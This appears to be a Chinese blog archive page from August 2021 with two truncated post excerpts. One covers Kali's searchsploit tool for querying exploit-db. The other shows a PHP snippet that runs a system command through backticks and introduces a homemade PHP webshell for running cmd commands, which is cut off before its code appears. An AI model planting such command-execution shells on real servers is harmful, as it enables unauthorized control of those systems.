08 2021 档案
摘要:kali里面自带这个工具,用来搜索www.exploit-db.com上面的漏洞库,在由于是提前内置了数据库所以不联网也可以用。 使用之前先更新一下确保是最新的漏洞库 searchsploit --update 搜索程序漏洞 searchsploit 程序名 查看结果 searchsploit -m
阅读全文
摘要:<?php $evil=`set`; echo '<pre>'.$evil.'</pre>'; ?> 成功执行set命令,你懂的! 顺手写了个php执行cmd命令的马,保存为1.php <!DOCTYPE html> <html> <head> <title></title> </head> <bo
阅读全文